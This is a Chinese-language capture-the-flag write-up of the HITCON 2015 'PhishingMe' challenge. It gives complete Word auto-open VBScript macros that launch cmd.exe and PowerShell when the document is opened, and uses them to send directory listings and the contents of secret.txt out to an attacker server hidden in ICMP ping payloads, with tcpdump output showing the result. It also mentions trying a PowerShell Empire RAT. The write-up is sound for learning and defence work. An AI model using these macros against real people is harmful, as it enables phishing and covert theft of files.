如果你發(fā)送一個主題為"HITCON 2015"的.doc文檔我會打開!
在我的文件系統(tǒng)中找到flag注:我會為你開啟宏^_________________^[email protected]
PhishingMe有趣的介紹告知我們可以在.doc中定義一個VBScript宏釣魚,Here we go!
準備惡意文件
第一件事,我們需要一個Microsoft Word,這個 .doc文件需要在打開的時候自動運行腳本,
CTF writeup:HITCON–PhishingMe
。過程如下:創(chuàng)建一個.doc文件。并從開發(fā)選項單中找到宏選項
創(chuàng)建一個新的宏
我們創(chuàng)建的這個宏需要嘗試通過cmd.exe運行一個簡單的命令
Sub Auto_Open() Call Debugging End Sub Sub AutoOpen() Call Debugging End Sub Public Function Debugging() As Variant Set objShell = CreateObject("Wscript.Shell") strCmd = "cmd.exe /c ""ping SERVER_IP""" Set objExec = objShell.Exec(strCmd) End Function
把這些放入宏窗口并保存
為了測試命令是否執(zhí)行,我們來看看我們這邊的ping請求:
tcpdump -nXX icmp
保存.doc,重新打開它,然后在服務器上看看ICMP返回的echo request:
10:25:49.351725 IP MY-TEST-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40
Shweet!.doc文件在我們這端是正常運行的,我們再來看看在目標端是否正常運行。接著我們將.doc文件發(fā)送到phishing.me.hitcon.2015#gmail.com,等一會之后在來看看通信。
10:29:21.411226 IP VICTIM-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40
命令正常執(zhí)行,接下來我們該做什么呢?
反復試驗
首先試試了常見的CTF比賽策略:上傳Shell然后再找flag。我們可以嘗試以下使用來自PowershellEmpire的Powershell RAT。經過30 – 45分鐘的測試,我們意識到回調函數(shù)并未從目標機器傳遞到我們的服務器上,即使他們運行在本地測試環(huán)境中。這其中肯定存在防火墻或者是其他東西阻止這些出站流量。但是我們已經接收到來自服務器的流量…
填充FTW
我們知道ICMP的echo requests已經傳到我們的服務器,同時我們還能通過VBScript執(zhí)行命令。那么這里是否存在什么東西發(fā)送ping….Powershell啊?。ㄎ曳浅Ed奮,這是我第一次在CTF中使用Powershell)下面我們就來看看如何發(fā)送ICMP的echo request
Microsoft頁面對System.Net.NetworkInformation.Ping的定義如下:
似乎我們需要IP address, timeout, 以及a buffer作為參數(shù)?
下面我們再來看看ICMP echo request的射頻圖
事實證明,ICMP echo request中有一個數(shù)據緩沖區(qū),這可以通過在第三個參數(shù)Send函數(shù)中進行設置
在Powershell中調用這個函數(shù):
(New-Object System.Net.NetworkInformation.Ping).Send(server_ip, timeout, buffer)
理論上我們可以通過緩沖區(qū)域的命令結果,并從tcpdump輸出中看到結果。我們通過ICMP做一個快速dir
powershell "$dir=dir; (New-Object System.Net.NetworkInformation.Ping).Send('SERVER_IP', 1000, $dir)"
在VBScript中替換這個命令應該能夠成功
Sub Auto_Open() Call Debugging End Sub Sub AutoOpen() Call Debugging End Sub Public Function Debugging() As Variant Set objShell = CreateObject("Wscript.Shell") strCmd = "powershell ""$dir=dir;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)""" Set objExec = objShell.Exec(strCmd) End Function
丟給目標,得到非常有趣的結果:
10:10:00.816080 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 19, length 75 0x0030: 6773 2050 726f 6772 616d 2046 696c 6573 gs.Program.Files 0x0040: 2050 726f 6772 616d 2046 696c 6573 2028 .Program.Files.( 0x0050: 7838 3629 2055 7365 7273 2057 696e 646f x86).Users.Windo 0x0060: 7773 2073 6563 7265 742e 7478 74 ws.secret.txt
secret.txt是重點啊,將dir替換為type secret.txt,看看有沒有啥好結果:
Sub Auto_Open() Call Debugging End SubSub AutoOpen() Call Debugging End Sub Public Function Debugging() As Variant Set objShell = CreateObject("Wscript.Shell") strCmd = "powershell ""$dir=type secret.txt;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)""" Set objExec = objShell.Exec(strCmd) End Function
結果
10:11:35.383781 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 20, length 52 ... 0x0020: .... .... .... .... .... 6869 7463 6f6e hitcon 0x0030: 7b6d 3463 7230 5f6d 6131 7761 7265 5f31 {m4cr0_ma1ware_1 0x0040: 735f 6d34 6b31 6e67 5f61 5f63 306d 6562 s_m4k1ng_a_c0meb 0x0050: 3463 6b21 217d 4ck!!}
在這里我們找到
hitcon{m4cr0_ma1ware_1s_m4k1ng_a_c0meb4ck!!}
很酷的一個挑戰(zhàn),特別是使用PowerShell